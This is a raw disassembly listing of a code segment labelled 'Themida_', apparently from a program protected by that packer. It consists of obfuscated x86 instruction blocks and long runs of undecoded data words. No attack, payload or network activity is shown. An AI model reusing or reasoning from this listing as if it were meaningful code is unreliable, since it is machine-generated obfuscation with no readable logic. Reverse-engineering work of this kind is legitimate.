		dd 8324048Bh, 0C68304C4h, 24343302h, 33243431h,	6BE92434h
		dd 5D0000A6h, 0FF2434FFh, 0E9592434h, 8AC0h, 0C581CD01h
		dd 10A745D1h, 99BB5359h, 8129C700h, 0FA3BE3E3h,	0E9DBF717h
		dd 9F31h, 0AF0DE9ACh, 0C481FFFFh, 4, 5C24048Fh,	66DBCE80h
		dd 3003B450h, 805866E6h, 0F68055C6h, 5AF028C6h,	6866D828h
		dd 3AE91869h, 81000097h, 0BB9B1BE9h, 59C829CEh,	7D1E9h
		dd 24248B00h, 0FF58F3E9h, 27EB35FFh, 33356AFFh,	523BD63h
		dd 4B006CCDh, 1A68FB2Dh, 58C20194h, 0FFB395E9h,	24248BFFh
		dd 0E9243C89h, 0FFFFC2D5h
; ---------------------------------------------------------------------------


loc_55D36C:				; CODE XREF: Themida_:00555185j
		mov	edi, 0FECC85C5h
		add	ebp, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_556CE0
; ---------------------------------------------------------------------------


loc_55D38C:				; CODE XREF: Themida_:00565822j
		add	esi, 0D98FF03Ah
		mov	ebp, esi
		pop	esi
		sub	[esp+4], ebp
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		push	ecx
		mov	ecx, 6C91382Ch
		mov	esi, 936EC7D8h
		add	esi, ecx
		pop	ecx
		add	ebp, esi
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	eax, [esp]
		add	esp, 4
		push	668Bh
		mov	[esp], ebp
		mov	ebp, 5A1965CDh
		add	ebp, 0FFFFFFFFh
		jmp	loc_55B141
; ---------------------------------------------------------------------------
		dd 5259CA01h, 42474FFh,	24048F5Ah, 583EE95Ch, 8953FFFFh
		dd 74BAE9F3h, 0FDB6FFFFh, 805AF320h, 0D920BCC3h, 1E9805Bh
		dd 9B80E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D415:				; CODE XREF: Themida_:00561E92j
		add	ebp, esi
		pop	esi
		xor	ebp, [esp]
		jmp	loc_5617FC
; ---------------------------------------------------------------------------


loc_55D420:				; CODE XREF: Themida_:0055961Cj
		sub	edi, 90AE6038h
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55C17D
; ---------------------------------------------------------------------------
		dd offset dword_445750+0A118h
		align 4
		dd 0FFAF2FE9h, 56455EFFh, 572378BEh, 0CEF6815Ah, 31FEEB31h
		dd 6BE95EF5h, 55FFFFE8h, 24DDE9h, 60EC8000h, 60E9E600h
		dd 0B8FFFFACh, 4C4B5176h, 2D1F2925h, 2EB72D31h,	772D7BC0h
		dd 0E90AB635h, 0FFFF982Ah, 0AEB52CBBh, 59CB318Bh, 34FFEB01h
		dd 0C4815D24h, 4, 0F2C1BE56h, 0EB81D6BDh, 37CF75BDh, 54AEC381h
		dd 0F3292D53h, 54AEEB81h, 0C3812D53h, 37CF75BDh, 0FFC8EAE9h
		dd 2260B9FFh, 0A9E96A7Ah, 81FFFF68h, 1552F8E3h,	40EB8155h
		dd 892364F0h, 0C2815BDAh, 45DA7A5Ah, 0FFA535E9h, 240C89FFh
		dd 4B9h, 0FFCB0100h, 81592434h,	4C4h, 241C3300h, 0E9241C31h
		dd 0FFFFC23Ah, 5B202D66h, 5E2434FFh, 4472E9h, 24348900h
		dd 24348B54h, 0E904C483h, 0FFFFCED9h, 8107E9C1h, 2F119C1h
		dd 59C8319Eh, 48BC689h,	4C48124h, 0E9000000h, 6008h
; ---------------------------------------------------------------------------


loc_55D530:				; CODE XREF: Themida_:00563A2Dj
		push	bx
		jmp	loc_5668B9
; ---------------------------------------------------------------------------


loc_55D537:				; CODE XREF: Themida_:00559E46j
		mov	ebp, edx
		pop	edx
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	5594h
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_557BCB
; ---------------------------------------------------------------------------
		db 89h
		dd 88E9241Ch, 35FFFF5Ah, 7E892851h, 2D06E0C1h, 7329149Eh
		dd 2EA0E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D571:				; CODE XREF: Themida_:00555028j
		add	dword ptr [esp+4], 1B2267F7h
		pop	eax
		pop	ebx
		sub	ebx, 78F40055h
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_566ED3
; ---------------------------------------------------------------------------
		db 0B9h, 0CBh, 13h
		dd 2DE94309h, 5B00001Ah, 68514D04h, 56EBh, 0E9240489h
		dd 0FFFF9721h
; ---------------------------------------------------------------------------


loc_55D5B8:				; CODE XREF: Themida_:00555D38j
		push	ebx
		jmp	loc_563069
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC83240Ch, 24348904h, 9EECE9h, 74FF5300h, 0A0E90424h
		dd 54000077h, 0FF76D2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D5DD:				; CODE XREF: Themida_:0055C938j
		shr	ebx, 8
		sub	ebx, 0DEB5F501h
		mov	edx, ebx
		pop	ebx
		shl	edx, 7
		add	edx, 4329E133h
		and	eax, edx
		mov	edx, [esp]
		jmp	loc_5653F6
; ---------------------------------------------------------------------------
		dd 9793F381h, 0DF895E83h, 0FFAC66E9h, 1BFFFh, 0FA010000h
		dd 0FF8C59E9h, 50EB80FFh
		db 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], dx
		jmp	loc_5573CE
; ---------------------------------------------------------------------------


loc_55D635:				; CODE XREF: Themida_:0055994Bj
		add	esp, 4
		or	eax, eax
		jz	loc_565C0B
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_557567
; ---------------------------------------------------------------------------
		dd 2EB2C281h, 0EA010C5Ah, 2EB2EA81h, 0C2810C5Ah, 6B5309D2h
		dd 0E1B8505Dh, 50EE42Bh, 483939BFh, 0C106E0C1h,	0FF2D02E0h
		dd 53FFFFFFh, 9A6001BBh, 0E9D801E2h, 0FFFFAF10h
; ---------------------------------------------------------------------------


loc_55D68C:				; CODE XREF: Themida_:005677DAj
		add	esp, 4
		jmp	loc_561CD0
; ---------------------------------------------------------------------------
		dd 0E904C383h, 46DEh
; ---------------------------------------------------------------------------


loc_55D69C:				; CODE XREF: Themida_:0055C643j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_556CE6
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 4
		dd 48B5424h, 4C48124h, 52000000h, 4BAh,	71062D00h, 0E2E96E98h
		dd 81FFFF9Ah, 2402C7h, 5FFD8901h, 7B58E9h, 5562E900h, 8158FFFFh
		dd 1F3162E2h, 8058E97Bh, 5352FFFFh, 0E46D89BBh,	0BE53BA56h
		dd 0DA299439h, 4EC2815Bh, 0E941C95Bh, 0A954h, 66D830ACh
		dd 0D6B15152h, 881CE980h, 240C8BCAh, 6604C483h,	0CDB551h
		dd 0C8B66E8h, 2C48324h,	0FF6C22E9h, 243C33FFh, 0E9243C31h
		dd 0FFFFBBECh
; ---------------------------------------------------------------------------


loc_55D72C:				; CODE XREF: Themida_:00562F8Cj
		jz	loc_561F45
		push	dword ptr [edi+1Ch]
		push	7B96h
		mov	[esp], ebp
		jmp	loc_557F44
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 5D76202Bh, 0FFBAC2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D74D:				; CODE XREF: Themida_:00552C9Ej
		mov	[esp], ecx
		mov	ecx, 47936C4h
		xor	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	esi, 5F530039h
		jmp	loc_56670C
; ---------------------------------------------------------------------------
		db 55h
		dd 24087DBDh, 0B26EE921h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D776:				; CODE XREF: Themida_:00555CF6j
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		sub	ebp, 5175B955h
		sub	esp, 4
		mov	[esp], edi
		push	ebp
		push	ecx
		jmp	loc_560B73
; ---------------------------------------------------------------------------


loc_55D791:				; CODE XREF: Themida_:0055AD57j
		pop	edx
		jmp	loc_566BE8
; ---------------------------------------------------------------------------
		db 51h
		dd 0E1D7AB9h, 5BC98168h, 81438B02h, 5517A7C1h, 68F18174h
		dd 29D0FA89h, 6AE959CAh
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D7B7:				; CODE XREF: Themida_:00564EA1j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		push	1Ch
		jmp	loc_56471B
; ---------------------------------------------------------------------------
		dd 815AD629h, 6F20E1F6h, 2E6C15Fh, 0D013C681h, 0EB817FE0h
		dd 2B9D4CA6h, 7B7BEB81h, 0F30147DAh, 7B7BC381h,	0C38147DAh
		dd 2B9D4CA6h, 8124348Bh, 4C4h, 1C335F00h, 241C3124h, 5C241C33h
		dd 240CFF66h, 5426E99Ch, 0EEC0FFFFh, 0AED0E907h, 5854FFFFh
		dd 6CE95255h, 81FFFFD2h, 0F9123AE9h, 2434FF75h,	0E689565Bh
		dd 412BBD55h, 0DDF778A0h, 0FFB07FE9h, 76CA80FFh, 281AEA80h
		dd 0C3005AD3h, 0FF8683E9h, 4EC81FFh, 89000000h,	2BD242Ch
		dd 0E9000000h, 0FFFFBDE8h
; ---------------------------------------------------------------------------


loc_55D860:				; CODE XREF: Themida_:005575D1j
		sub	edx, 626A7534h
		jmp	loc_561A50
; ---------------------------------------------------------------------------
		db 89h
		dd 52B850E7h, 0E93CE31Ch, 0FFFFF5FFh
; ---------------------------------------------------------------------------


loc_55D878:				; CODE XREF: Themida_:00556B60j
		pop	ebx
		push	ecx
		mov	ecx, 5E3B09BEh
		sub	ecx, 1
		add	ecx, 6023292h
		push	esi
		push	3442h
		mov	[esp], ebp
		push	edi
		jmp	loc_5557E4
; ---------------------------------------------------------------------------
		dw 99E9h
		dd 8AFFFF53h, 68552434h, 70EBh,	24048F54h, 4240483h, 4C5815Dh
		dd 52000000h, 2BAh, 0BEC58100h,	1153F64h, 0BEED81D5h, 5A153F64h
		dd 9AB9E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D8D2:				; CODE XREF: Themida_:00561F6Cj
		mov	[esp], ebx
		jmp	loc_5670E7
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 0FFFF53C3h, 8650E94Ah, 2C8B0000h, 4C48124h, 68000000h
		dd 5A3Bh, 54241C89h, 1630685Bh,	0A3E90000h, 58FFFFABh
		dd 4EC81h, 4890000h, 0C5E95324h, 51000040h, 0CF06BDB9h
		dd 0E9CA891Dh, 0FFFF569Bh, 51E78957h, 0CA700EB9h, 0AF1811Eh
		dd 811ECA70h, 6A73FBC7h, 81CF0139h, 6A73FBEFh, 0A881E939h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D942:				; CODE XREF: Themida_:0055B39Aj
		mov	[esp], esi
		jmp	loc_558C3A
; ---------------------------------------------------------------------------
		dw 0F231h
		dd 8124348Bh, 4C4h, 5AD50100h, 571E9h, 0E4E95900h, 28FFFFA6h
		dd 0F8A6E9F0h, 0C681FFFFh, 0AFC4A231h, 34FFF189h
		db 24h,	5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_563EC1
; ---------------------------------------------------------------------------
		dw 0D9F6h
		dd 8005E1C0h, 0CC289CC1h, 83240C8Bh, 0E50804C4h, 771BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55D9A1:				; CODE XREF: Themida_:00557BC6j
		mov	ebp, 9C92D35h
		add	edx, ebp
		mov	ebp, [esp]
		jmp	loc_5660B0
; ---------------------------------------------------------------------------
		dd 11FC6866h, 241C8966h, 0FE3071B7h, 0D6F65B66h, 8003EEC0h
		dd 0F00021C6h, 4FC0E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D9CD:				; CODE XREF: Themida_:00553B8Dj
		mov	esi, [esp]
		jmp	loc_565A4C
; ---------------------------------------------------------------------------


loc_55D9D5:				; CODE XREF: Themida_:005609B9j
		pop	edx
		add	ebx, eax
		sub	ebx, 284E1722h
		push	dword ptr [esp]
		pop	eax
		jmp	loc_564805
; ---------------------------------------------------------------------------


loc_55D9E7:				; CODE XREF: Themida_:00560370j
		push	edi
		mov	edi, 385320Ch
		mov	esi, edi
		pop	edi
		jmp	loc_563F24
; ---------------------------------------------------------------------------
		db 0BBh, 4, 0
		dd 0ED810000h, 15B20F1Ah, 0C581DD01h, 15B20F1Ah, 0E9241C8Bh
		dd 0FFFF9C45h, 0B0240489h, 8E0C03Eh, 2C02E8C0h,	8C04E9C1h
		dd 34890000h, 69486824h, 0F75E5CD7h, 63CE81DEh,	521DE82Bh
		dd 1B968h, 24048900h, 82203668h, 0C483E92Ah, 0C383FFFFh
		dd 241C8704h, 0A496E9h,	0E9F08600h, 0FFFF740Ch,	70D66857h
		dd 0F75F4B96h, 3072E9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DA66:				; CODE XREF: Themida_:0055716Fj
		pop	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55C648
; ---------------------------------------------------------------------------


loc_55DA71:				; CODE XREF: Themida_:0055DCACj
		add	esp, 4
		push	edi
		mov	edi, 1
		jmp	loc_55AFD4
; ---------------------------------------------------------------------------


loc_55DA7F:				; CODE XREF: Themida_:00561641j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55918F
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 0BB7F3A5Bh, 0E95BDA31h, 0FFFF7A8Eh, 81240C8Bh, 4C4h
		dd 8521E900h, 34FFFFFFh, 7821E924h, 0EC81FFFFh,	4, 68240489h
		dd 6FCB5B54h, 77054058h, 0E97B9A35h, 2796h, 0B4F7E95Dh
		dd 0E704FFFFh, 0E95B3204h, 80E8h, 855B8168h, 0EE815E52h
		dd 19BB426Fh, 0F702E6C1h, 4CC681DEh, 57E32864h,	0F989F789h
		dd 0FDDE9h, 7CB66800h, 14890000h, 6C685724h, 5F53DB38h
		dd 0E0A6E94Fh, 0D82DFFFFh, 2957AB0Eh, 0ED805F0h, 860557ABh
		dd 8B00C464h, 54512434h, 0F269E959h, 3C87FFFFh,	0EC835C24h
		dd 242C8904h, 4BE56h, 0F5890000h, 0BDD4E95Eh, 0E9ACFFFFh
		dd 4973h, 0B1243481h, 5814F436h, 0FFAFCCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DB55:				; CODE XREF: Themida_:0055C3F5j
		mov	eax, edx
		pop	edx
		sub	edx, 471D2F95h
		sub	edx, eax
		add	edx, 471D2F95h
		jmp	loc_5668B3
; ---------------------------------------------------------------------------
		db 59h
		dd 8105E9C1h, 2FCFA8E9h, 0E9CF89F5h, 0FFFFE4EBh, 25E9E589h
		dd 8900005Ch, 2C81242Ch, 2C135E24h, 93BFE92Ch, 0F660000h
		dd 5166C8AFh, 509AE99Ch, 0F187FFFFh, 11C1815Eh,	51B086C4h
		dd 0D729595Ah, 8124148Bh, 4C4h,	81DF0100h, 43192CC7h, 7913E94Fh
		dd 48FFFFFh, 9817E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DBCA:				; CODE XREF: Themida_:00557650j
		push	55E5h
		mov	[esp], ebp
		push	edi
		jmp	loc_5564D2
; ---------------------------------------------------------------------------
		dd 6801C283h, 47D0h, 0BD242C89h, 4142C9h, 2C8BEA01h, 4EC8324h
		dd 9826E9h, 0F7D5F700h,	0F5BF57DDh, 817F4C47h, 0FE2201C7h
		dd 0EFD14720h, 0FFB747E9h, 69B951FFh, 29818299h, 62E959CDh
		dd 8300006Dh, 148904ECh, 0EAEDBA24h, 0D6312744h, 8324148Bh
		dd 542D04C4h, 0E92C3073h, 0FA5h, 24048B66h, 20AFE9h, 6FF52D00h
		dd 0D82938D0h, 0FF59AFE9h, 4EC81FFh, 89000000h,	4832424h
		dd 815A0424h, 4C2h, 4C28100h, 87000000h, 248B2414h, 0ADA6E924h
		dd 0E95BFFFFh, 8A7Ch
; ---------------------------------------------------------------------------


loc_55DC78:				; CODE XREF: Themida_:00560C6Cj
		add	esi, 4
		jmp	loc_565D8D
; ---------------------------------------------------------------------------
aRtzquqsri	db 'RTZQUQéà›',0
		align 2
		dw 0D029h
		dd 944CE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DC96:				; CODE XREF: Themida_:0055B502j
		mov	esi, 851981C9h
		sub	esi, 54E3487h
		sub	esi, ebx
		add	esi, 54E3487h
		mov	ebx, [esp]
		jmp	loc_55DA71
; ---------------------------------------------------------------------------
aSU		db '[^é',27h,'ž',0
		align 4
		dd 0DAE9DDF6h, 4000020h, 2CE8286Ah, 89FEE96Ah, 0EEC00000h
		dd 7FE95108h
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55DCD3:				; CODE XREF: Themida_:005636F9j
		push	5548h
		mov	[esp], ebp
		push	26C7h
		mov	[esp], esi
		pop	ebp
		pop	esi
		push	2D9Ah
		jmp	loc_553272
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC81241Ch, 4, 68240489h, 1B0A0B44h,	5124048Bh, 0B8505954h
		dd 4, 48BC101h,	4C48124h, 0E9000000h, 6872h
; ---------------------------------------------------------------------------


loc_55DD1C:				; CODE XREF: Themida_:00567BC8j
		dec	dl
		shr	dl, 1
		push	ecx
		mov	cl, 35h
		add	cl, 12h
		add	cl, 28h
		or	cl, 0F2h
		sub	cl, 0F0h
		add	dl, cl
		pop	ecx
		push	eax
		jmp	loc_564B72
; ---------------------------------------------------------------------------


loc_55DD38:				; CODE XREF: Themida_:00553C0Aj
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_55C3D4
; ---------------------------------------------------------------------------
aVsxh		db 'VéxH',0
		dw 5C00h
		dd 2D74E9h, 0C3815800h,	0D3D952B9h, 1C8BDA31h, 4C48324h
		dd 840FC909h, 0FFFF6276h, 5365E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DD72:				; CODE XREF: Themida_:00561F62j
		pop	esi
		and	eax, 38387FAFh
		jmp	loc_55AD0A
; ---------------------------------------------------------------------------
		db 29h,	0E9h, 81h
		dd 225FEBE9h, 0B689E941h, 0A9E9FFFFh, 81FFFF4Eh, 4ECh
		dd 24148900h, 4FE9E289h, 66FFFF89h, 2404BB0Fh, 4E8EE99Ch
		dd 0DAF7FFFFh, 0EA81D2F7h, 0AE1C40DBh, 0E95AD301h, 0FFFFDB6Bh
; ---------------------------------------------------------------------------


loc_55DDBC:				; CODE XREF: Themida_:00556018j
		mov	esi, 5FA24B32h
		sub	esi, 3CD7B65h
		sub	esi, 77C56011h
		not	esi
		neg	esi
		xor	esi, 0C9517119h
		xor	esi, 132F5192h
		and	esi, 4C31D58h
		or	esi, 24104D27h
		sub	esi, 60356184h
		shl	esi, 7
		sub	esi, 0DF5D97Ch
		mov	ebx, esi
		pop	esi
		add	edx, ebx
		pop	ebx
		jmp	loc_554435
; ---------------------------------------------------------------------------


loc_55DE03:				; CODE XREF: Themida_:00556407j
		sub	ecx, 0FFFFFFFFh
		xor	ecx, 50415C38h
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_55B2DB
; ---------------------------------------------------------------------------
		db 81h,	0CBh, 16h
		dd 8124B22Ah, 0A61486E3h, 0A6D3E924h, 0BA66FFFFh, 8166185Ch
		dd 660B63E2h, 6114E281h, 0D5CA8166h, 6109E918h,	885CFFFFh
		dd 2434FFCFh, 80ABE959h, 166FFFFh, 296659CBh, 0BF6657C3h
		dd 81661059h, 665312EFh, 8166D7F7h, 0E92010EFh,	5D1Bh
		dd 4C4815Bh, 68000000h,	12E9h, 55241489h, 0FF9BE4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DE85:				; CODE XREF: Themida_:00559C89j
		push	ebp
		mov	ebp, 4CF0083Bh
		jmp	loc_566B1C
; ---------------------------------------------------------------------------
		dd 4312E681h, 0EE81102Bh, 27814990h, 8106EEC1h,	0F7B773EEh
		dd 5EF201CBh, 0B951C201h, 376A706Fh, 74CFEA81h,	0CA296126h
		dd 74CFC281h, 34FF6126h, 0C4815924h, 4,	5345E958h, 0FF55FFFFh
		dd 0FF042474h, 74E92434h, 81FFFFDBh, 0EA5B74E9h, 2434FF41h
		dd 3C7E685Ah, 0C890000h, 81595424h, 4C1h, 0EC835600h, 24048904h
		dd 4755B951h, 0E1812757h, 5041105Fh, 0E181D1F7h, 785F3C98h
		dd 53F18149h, 5519B21Ah, 0E889CD89h, 15E9595Dh
		db 9Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55DF23:				; CODE XREF: Themida_:0055EEEEj
		mov	edx, esi
		pop	esi
		mov	eax, 82499BA9h
		add	eax, edx
		pop	edx
		push	ecx
		mov	ecx, eax
		mov	ebx, ecx
		jmp	loc_565C8A
; ---------------------------------------------------------------------------


loc_55DF38:				; CODE XREF: Themida_:00560C24j
		mov	edx, [esp]
		add	esp, 4
		push	edx
		xchg	ebx, [esp]
		push	ebx
		jmp	loc_56362E
; ---------------------------------------------------------------------------
aWsjn		db 'Wé†n',0
		align 2


loc_55DF4E:				; CODE XREF: Themida_:005647B2j
		mov	edi, [esp]
		jmp	$+5
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h
		dd 241CF6C3h, 4CC2E99Ch, 0F681FFFFh, 0B97D2143h, 525EF201h
		dd 42474FFh, 0E77FE95Ah, 489FFFFh, 0F689B024h, 2C6C04D0h
		dd 58C5306Ah, 0C8BE828h, 0A4A6E924h, 0C231FFFFh, 0DBF28158h
		dd 505D5733h, 1708BA52h, 0EA810B36h, 539E6586h,	8F4CE951h
		dd 0C381FFFFh, 1EDA2F3Ah, 51240C8Bh, 42E95954h,	5EFFFF51h
		dd 1CE9D829h, 66FFFF99h, 5324048Bh, 6A1F68h, 36A1E900h
		dd 895A0000h, 5F295FFBh, 2434FF40h, 0FF9FE4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DFF5:				; CODE XREF: Themida_:005601C9j
		add	dword ptr [esp], 4
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 3A8C0D2Ah
		push	esi
		mov	esi, 6E062A57h
		shr	esi, 6
		add	esi, 38D3F485h
		jmp	loc_555FFD
; ---------------------------------------------------------------------------
		dd 4BD55h, 0E8290000h, 2ED9E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E029:				; CODE XREF: Themida_:00561A4Bj
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_56307D
; ---------------------------------------------------------------------------
		db 5Eh
		dd 114F685Eh, 3C890000h, 2474FF24h, 48F5F04h, 34895C24h
		dd 87A9E924h, 0E95CFFFFh, 0FFFF4BD8h, 4C5815Dh,	0E9000000h
		dd 8EEh, 0B951h, 0D1290000h, 1EE9CA89h,	89000096h, 0AB68241Ch
		dd 8B270770h, 0C481241Ch, 4, 4C29EB81h,	8153F455h, 678C2434h
		dd 81590AB9h, 0B9678CF1h, 2EE95B0Ah
		db 66h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E0A7:				; CODE XREF: Themida_:005575B2j
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_5573F4
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 2414F724h, 0FFA7BFE9h, 58C631FFh, 348BF101h,	9896E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E0CA:				; CODE XREF: Themida_:00553E8Cj
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_561BD7
; ---------------------------------------------------------------------------
		dd 225CE581h, 12E923C9h, 81FFFFFBh, 10779EDh, 0B2ED8148h
		dd 8157C540h, 0F1402EDh, 6ED8137h, 0E986D3B5h, 0FFFF7519h
		dd 18B4BB53h, 0F7E927C3h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E10B:				; CODE XREF: Themida_:005612F3j
		pop	esp
		or	eax, eax
		jnz	loc_56416B
		push	1372h
		mov	[esp], esi
		jmp	loc_558C12
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 3Fh
		dd 81113742h, 37695FEAh, 0E9EA0148h, 766Dh, 0C307E950h
		dd 0EC81FFFFh, 4, 0BA241489h, 5C9B0317h, 37685153h, 8B6BA466h
		dd 8953240Ch, 4B850E3h,	0E9000000h, 6129h, 81240C8Bh, 4C4h
		dd 24048B00h, 4C481h, 0BA520000h, 2, 875AD701h,	248B243Ch
		dd 9D44E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E186:				; CODE XREF: Themida_:00561F55j
		xor	ecx, esi
		xor	esi, ecx
		xor	ecx, esi
		pop	esi
		jmp	loc_56063F
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 685946C2h, 0EB81CB01h, 685946C2h, 0F7C38159h, 137F178h
		dd 0BBF57C3h, 8116F350h, 6D4212C7h, 6EFC10Eh, 0C781D7F7h
		dd 3886FB40h, 0E95FFB29h, 632Bh, 8BFA015Ah, 0C483243Ch
		dd 0A4E95204h, 43000011h, 8104E3C1h, 0C0B374F3h, 0E9DF0111h
		dd 3609h, 4244481h, 18642E31h, 1C16E9h,	4C48100h, 0E9000000h
		dd 0FFFFA705h
; ---------------------------------------------------------------------------


loc_55E200:				; CODE XREF: Themida_:00553EE8j
		pop	ebx
		sub	edi, 1DD251B2h
		jmp	loc_56678C
; ---------------------------------------------------------------------------
		dd 0ABE9AF04h, 81000027h, 686726C5h, 0F7D5F75Eh, 53D5F7D5h
		dd 26CCE9h, 20E95B00h, 5F000089h, 2254502Dh, 29685105h
		dd 8B7FA170h, 0E950240Ch, 0FFFF6689h, 5C518DBDh, 0E9EA2923h
		dd 0FFFFC816h, 0BB241C89h, 447C1AF1h, 0FE3EBE2Dh, 5D80151h
		dd 51FE3EBEh, 0C158925Bh, 0DEE902EAh, 89FFFFD6h, 4812424h
		dd 424h, 0BD555B00h, 627D1D76h,	0FFDFE1E9h, 0C98141FFh
		dd 46C33774h, 0E981D9F7h, 81B09486h, 8159CA89h,	0BFE72EC2h
		dd 5AD60918h, 2414F756h, 8E9535Eh
		db 8Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E2A7:				; CODE XREF: Themida_:0055C680j
		dec	esi
		push	40F9h
		mov	[esp], edi
		mov	edi, 24665B22h
		jmp	loc_554A15
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F5A0424h, 248B2404h, 0C8B6624h, 4EC8324h, 552E9h, 4962E900h
		dd 0C681FFFFh, 19DB68D6h, 9C89E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E2E1:				; CODE XREF: Themida_:00561F29j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 2
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_554F43
; ---------------------------------------------------------------------------
		db 51h
		dd 0D5F6F588h, 245E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E30D:				; CODE XREF: Themida_:0056328Aj
		push	ebp
		mov	ebp, 732D4943h
		sub	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 43C843E2h
		jmp	loc_562F58
; ---------------------------------------------------------------------------


loc_55E329:				; CODE XREF: Themida_:00558920j
		shl	edx, 1
		push	ecx
		push	0CF6h
		mov	[esp], ebp
		push	5BA729B2h
		mov	ebp, [esp]
		jmp	loc_55ED6F
; ---------------------------------------------------------------------------


loc_55E341:				; CODE XREF: Themida_:00556110j
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		mov	esp, [esp]
		pop	eax
		jmp	loc_558110
; ---------------------------------------------------------------------------
		dw 0EB00h
		dd 80A2EB80h, 0F5968EBh, 8B66C0B6h, 68532414h, 60BBh, 0A6E8E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E372:				; CODE XREF: Themida_:0055AC86j
		mov	edi, 79FB1F1Ah
		jmp	loc_55AD29
; ---------------------------------------------------------------------------
		dd 0E9028F66h, 0FFFF48B4h
; ---------------------------------------------------------------------------


loc_55E384:				; CODE XREF: Themida_:005551E6j
		add	ebp, ebx
		jmp	loc_55E8AB
; ---------------------------------------------------------------------------
		db 83h
		dd 8B042404h, 0C483243Ch, 0D919E904h, 2C8BFFFFh, 4C48124h
		dd 29000000h, 34335FFEh, 24343124h, 0E9243433h,	0FFFF4908h
		dd 280FE980h, 0C0FE59C8h, 9234982Ch, 458C128h, 0B0B25256h
		dd 0C280CAFEh, 4EAC000h, 8057CA80h, 0EC833EC2h,	24048904h
		dd 0C480A4B4h, 37C48011h, 0C0E3CC80h, 0EC8008E4h, 58E200F9h
		dd 0FFFE17E9h, 242C8BFFh, 8104C483h, 5733DAEDh,	56F52919h
		dd 252FF1BEh, 3EEC135h,	64A5BF57h, 0CF8136CFh, 6558259Ah
		dd 8104E7C1h, 2F0B78E7h, 81DFF734h, 0E1E48C7h, 5FFE099Eh
